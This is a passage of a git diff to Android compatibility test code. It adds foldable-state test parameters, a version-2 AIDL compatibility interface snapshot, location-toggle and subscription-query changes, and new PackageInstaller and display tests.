diff --git a/tests/tests/assist/AndroidTest.xml b/tests/tests/assist/AndroidTest.xml
index 6f34e08..6623100 100644
--- a/tests/tests/assist/AndroidTest.xml
+++ b/tests/tests/assist/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
     <!-- Force service to be installed as non-instant mode, always -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 899721c..265da81 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -205,13 +205,18 @@
     }
 
     private boolean compareScreenshot(Bitmap screenshot, int color) {
-        Point size = new Point(mDisplayWidth, mDisplayHeight);
+        // TODO(b/215668037): Uncomment when we find a reliable approach across different form
+        // factors.
+        // The current approach does not handle overridden screen sizes, and there's no clear way
+        // to handle that and multiple display areas at the same time.
+//        Point size = new Point(mDisplayWidth, mDisplayHeight);
 
-        if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) {
-            Log.i(TAG, "width  or height didn't match: " + size + " vs " + screenshot.getWidth()
-                    + "," + screenshot.getHeight());
-            return false;
-        }
+//        if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) {
+//            Log.i(TAG, "width  or height didn't match: " + size + " vs " + screenshot.getWidth()
+//                    + "," + screenshot.getHeight());
+//            return false;
+//        }
+        Point size = new Point(screenshot.getWidth(), screenshot.getHeight());
         int[] pixels = new int[size.x * size.y];
         screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 68b2d3f..efb2256 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -82,6 +82,7 @@
     srcs: [":libbinder_ndk_compat_test_interface_srcs"],
     versions: [
         "1",
+        "2",
     ],
     backend: {
         java: {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash
new file mode 100644
index 0000000..210a064
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/.hash
@@ -0,0 +1 @@
+ef1ff59c491cbb79b3b7830aacde2c2bdc0bce3b
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl
new file mode 100644
index 0000000..df9a795
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/Baz.aidl
@@ -0,0 +1,25 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL file. Do not edit it manually. There are
+// two cases:
+// 1). this is a frozen version file - do not edit this in any case.
+// 2). this is a 'current' file. If you make a backwards compatible change to
+//     the interface (from the latest frozen version), the build system will
+//     prompt you to update this file with `m <name>-update-api`.
+//
+// You must not make a backward incompatible change to any AIDL file built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..7d1ee02
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/2/test_package/ICompatTest.aidl
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL file. Do not edit it manually. There are
+// two cases:
+// 1). this is a frozen version file - do not edit this in any case.
+// 2). this is a 'current' file. If you make a backwards compatible change to
+//     the interface (from the latest frozen version), the build system will
+//     prompt you to update this file with `m <name>-update-api`.
+//
+// You must not make a backward incompatible change to any AIDL file built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  @nullable String RepeatStringNullableLater(@nullable String repeated);
+  int NewMethodThatReturns10();
+}
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 47799e2..1a237c0 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/calendarprovider/AndroidTest.xml b/tests/tests/calendarprovider/AndroidTest.xml
index 359a237..3a2508d 100644
--- a/tests/tests/calendarprovider/AndroidTest.xml
+++ b/tests/tests/calendarprovider/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 7b44a58..f3d0aa7 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -18,7 +18,7 @@
             type="module_controller"/>
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="auto"/>
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi"/>
 
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
diff --git a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
index 369bc31..e963162 100644
--- a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
@@ -22,6 +22,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 import static org.testng.Assert.expectThrows;
@@ -136,6 +137,7 @@
     @Test
     public void registerCarVolumeCallback_onMasterMuteChanged() throws Exception {
         assumeDynamicRoutingIsEnabled();
+        assumeVolumeGroupMutingIsDisabled();
         mCallback = new SyncCarVolumeCallback();
 
         runWithCarControlAudioVolumePermission(
@@ -243,6 +245,10 @@
         assumeTrue(mCarAudioManager.isAudioFeatureEnabled(AUDIO_FEATURE_VOLUME_GROUP_MUTING));
     }
 
+    private void assumeVolumeGroupMutingIsDisabled() {
+        assumeFalse(mCarAudioManager.isAudioFeatureEnabled(AUDIO_FEATURE_VOLUME_GROUP_MUTING));
+    }
+
     private void runWithCarControlAudioVolumePermission(Runnable runnable) {
         UI_AUTOMATION.adoptShellPermissionIdentity(Car.PERMISSION_CAR_CONTROL_AUDIO_VOLUME);
         try {
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index 9b6d4fe..591e80d 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="config-descriptor:metadata" key="token" value="UICC_SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index bc813aa..b6ee78c 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -1086,7 +1086,8 @@
         try {
             // Get all active subscriptions.
             List<SubscriptionInfo> activeSubInfos =
-                    mSubscriptionManager.getActiveSubscriptionInfoList();
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
+                    (sm) -> sm.getActiveSubscriptionInfoList());
 
             List<Integer> activeSubGroup = getSubscriptionIdList(activeSubInfos);
             activeSubGroup.removeIf(id -> id == subId);
@@ -1262,13 +1263,17 @@
     }
 
     private void removeSubscriptionsFromGroup(ParcelUuid uuid) {
-        List<SubscriptionInfo> infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
+        List<SubscriptionInfo> infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mSubscriptionManager,
+                (sm) -> (sm.getSubscriptionsInGroup(uuid)));
         if (!infoList.isEmpty()) {
             List<Integer> subscriptionIdList = getSubscriptionIdList(infoList);
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSubscriptionManager,
                     (sm) -> sm.removeSubscriptionsFromGroup(subscriptionIdList, uuid));
         }
-        infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
+        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mSubscriptionManager,
+                (sm) -> (sm.getSubscriptionsInGroup(uuid)));
         assertThat(infoList).isEmpty();
     }
 
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 82655e9..8675108 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -23,10 +23,13 @@
 
 import static org.junit.Assert.fail;
 
-import android.content.ContentResolver;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.database.ContentObserver;
+import android.location.LocationManager;
 import android.os.AsyncTask;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -34,7 +37,6 @@
 import android.os.Parcel;
 import android.os.Process;
 import android.os.UserHandle;
-import android.provider.Settings;
 import android.telephony.AccessNetworkConstants;
 import android.telephony.CellInfo;
 import android.telephony.CellInfoGsm;
@@ -475,55 +477,44 @@
 
     private boolean getAndSetLocationSwitch(boolean enabled) {
         CountDownLatch locationChangeLatch = new CountDownLatch(1);
-        ContentObserver settingsObserver =
-                new ContentObserver(mHandler) {
-                    @Override
-                    public void onChange(boolean selfChange) {
-                        locationChangeLatch.countDown();
-                        super.onChange(selfChange);
-                    }
-                };
+        BroadcastReceiver locationModeChangeReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (LocationManager.MODE_CHANGED_ACTION.equals(intent.getAction())
+                        && intent.getBooleanExtra(LocationManager.EXTRA_LOCATION_ENABLED, !enabled)
+                        == enabled) {
+                    locationChangeLatch.countDown();
+                }
+            }
+        };
 
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity();
-        ContentResolver contentResolver = getContext().getContentResolver();
         try {
-            int oldLocationMode =
-                    Settings.Secure.getInt(
-                            contentResolver,
-                            Settings.Secure.LOCATION_MODE,
-                            Settings.Secure.LOCATION_MODE_OFF);
+            Context context = InstrumentationRegistry.getContext();
+            LocationManager lm = context.getSystemService(
+                    LocationManager.class);
+            boolean oldLocationOn = lm.isLocationEnabledForUser(
+                    UserHandle.of(UserHandle.myUserId()));
 
-            int locationMode =
-                    enabled
-                            ? Settings.Secure.LOCATION_MODE_HIGH_ACCURACY
-                            : Settings.Secure.LOCATION_MODE_OFF;
-            if (locationMode != oldLocationMode) {
-                contentResolver.registerContentObserver(
-                        Settings.Secure.getUriFor(Settings.Secure.LOCATION_MODE),
-                        false,
-                        settingsObserver);
-                Settings.Secure.putInt(
-                        contentResolver, Settings.Secure.LOCATION_MODE, locationMode);
+            if (enabled != oldLocationOn) {
+                context.registerReceiver(locationModeChangeReceiver,
+                        new IntentFilter(LocationManager.MODE_CHANGED_ACTION));
+                lm.setLocationEnabledForUser(enabled, UserHandle.of(UserHandle.myUserId()));
                 try {
-                    assertThat(
-                                    locationChangeLatch.await(
-                                            LOCATION_SETTING_CHANGE_WAIT_MS, TimeUnit.MILLISECONDS))
-                            .isTrue();
+                    assertThat(locationChangeLatch.await(LOCATION_SETTING_CHANGE_WAIT_MS,
+                            TimeUnit.MILLISECONDS)).isTrue();
                 } catch (InterruptedException e) {
-                    Log.w(
-                            NetworkScanApiTest.class.getSimpleName(),
+                    Log.w(NetworkScanApiTest.class.getSimpleName(),
                             "Interrupted while waiting for location settings change. Test results"
                                     + " may not be accurate.");
                 } finally {
-                    contentResolver.unregisterContentObserver(settingsObserver);
+                    context.unregisterReceiver(locationModeChangeReceiver);
                 }
             }
-            return oldLocationMode == Settings.Secure.LOCATION_MODE_HIGH_ACCURACY;
+            return oldLocationOn;
         } finally {
-            InstrumentationRegistry.getInstrumentation()
-                    .getUiAutomation()
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
                     .dropShellPermissionIdentity();
         }
     }
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
index a0a38a9..64808d3 100644
--- a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
index 95797ca..b457fd4 100644
--- a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index 24520cf..9aa4479 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/colormode/OWNERS b/tests/tests/colormode/OWNERS
index bbedd43..efafd9c 100644
--- a/tests/tests/colormode/OWNERS
+++ b/tests/tests/colormode/OWNERS
@@ -1,2 +1,2 @@
-# Bug component: 24949
+# Bug component: 24939
 lpy@google.com
\ No newline at end of file
diff --git a/tests/tests/contactsprovider/AndroidTest.xml b/tests/tests/contactsprovider/AndroidTest.xml
index 35c6b21..c62b5ed 100644
--- a/tests/tests/contactsprovider/AndroidTest.xml
+++ b/tests/tests/contactsprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index ffc6c16..c6432b3 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 1b2cef6..556add2 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -517,6 +517,9 @@
              android:process=":providerProcess">
         </provider>
 
+        <service android:name="android.content.wm.cts.ContextTestBase$TestWindowService"
+                 android:exported="true" />
+
         <activity android:name="com.android.cts.content.StubActivity"/>
 
         <service android:name="com.android.cts.content.NotAlwaysSyncableSyncService"
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index c03dd80..1b757e3 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -24,6 +24,8 @@
 
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidTest.xml b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidTest.xml
index b963c13..f19918e 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidTest.xml
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/content/pm/SecureFrp/AndroidTest.xml b/tests/tests/content/pm/SecureFrp/AndroidTest.xml
index bd0ce82..a5e416d 100644
--- a/tests/tests/content/pm/SecureFrp/AndroidTest.xml
+++ b/tests/tests/content/pm/SecureFrp/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <!-- target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/pm" />
diff --git a/tests/tests/content/src/android/content/cts/MockService.java b/tests/tests/content/src/android/content/cts/MockService.java
index 6726f8b..d9cbf00 100644
--- a/tests/tests/content/src/android/content/cts/MockService.java
+++ b/tests/tests/content/src/android/content/cts/MockService.java
@@ -26,7 +26,7 @@
     private final IBinder mBinder = new MockBinder();
 
     public class MockBinder extends Binder {
-        MockService getService() {
+        public MockService getService() {
             return MockService.this;
         }
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index ae3e7cd..a77433f 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -31,6 +31,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeNotNull;
 
 import android.content.Context;
@@ -38,6 +39,7 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.Build;
 import android.os.Environment;
 import android.os.Parcel;
 import android.os.Process;
@@ -291,6 +293,10 @@
 
     @Test
     public void testIsProduct() throws Exception {
+        // The product flag is supported since P. Suppose that devices lauch on Android P may not
+        // have product partition.
+        assumeFalse(Build.VERSION.DEVICE_INITIAL_SDK_INT <= Build.VERSION_CODES.P);
+
         final String systemPath = Environment.getRootDirectory().getAbsolutePath();
         final String productPath = Environment.getProductDirectory().getAbsolutePath();
         final String packageName = getPartitionFirstPackageName(systemPath, productPath);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7..df40ea9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.DataLoaderParams;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionParams;
 import android.content.pm.PackageManager;
 import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@
 import java.util.Arrays;
 import java.util.Optional;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
 import java.util.stream.Collectors;
 
 @RunWith(Parameterized.class)
@@ -154,6 +171,15 @@
         }
     }
 
+    private static void writeFileToSession(PackageInstaller.Session session, String name,
+            String apk) throws IOException {
+        File file = new File(createApkPath(apk));
+        try (OutputStream os = session.openWrite(name, 0, file.length());
+             InputStream is = new FileInputStream(file)) {
+            writeFullStream(is, os, file.length());
+        }
+    }
+
     @Before
     public void onBefore() throws Exception {
         // Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@
     }
 
     @Test
+    public void testDontKillWithSplit() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are adding split. OK to have the flag.
+            assertTrue(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testDontKillRemovedWithBaseApk() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw7", TEST_HW7);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are updating base.apk. Flag to be removed.
+            assertFalse(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testDataLoaderParamsApiV1() throws Exception {
         if (!mStreaming) {
             return;
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
index 2f3bca2..6e7f47b 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
@@ -23,7 +23,6 @@
 import android.app.Service;
 import android.content.Context;
 import android.content.ContextWrapper;
-import android.content.cts.ContextTestBase;
 import android.content.res.Configuration;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
@@ -53,6 +52,7 @@
  *     - get {@link Display} entity</li>
  *     <li>{@link ContextWrapper} with base non-display-associated {@link Context}
  *     - get {@link Display} entity</li>
+ *     <li>{@link android.window.WindowProviderService} - get {@link Display} entity</li>
  * </ul>
  *
  * <p>Build/Install/Run:
@@ -140,4 +140,11 @@
         ContextWrapper wrapper = new ContextWrapper(mApplicationContext);
         wrapper.getDisplay();
     }
+
+    @Test
+    public void testGetDisplayFromWindowProviderService() {
+        final Display d = createWindowTestService().getDisplay();
+
+        assertNotNull("Display must be accessible from visual components", d);
+    }
 }
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
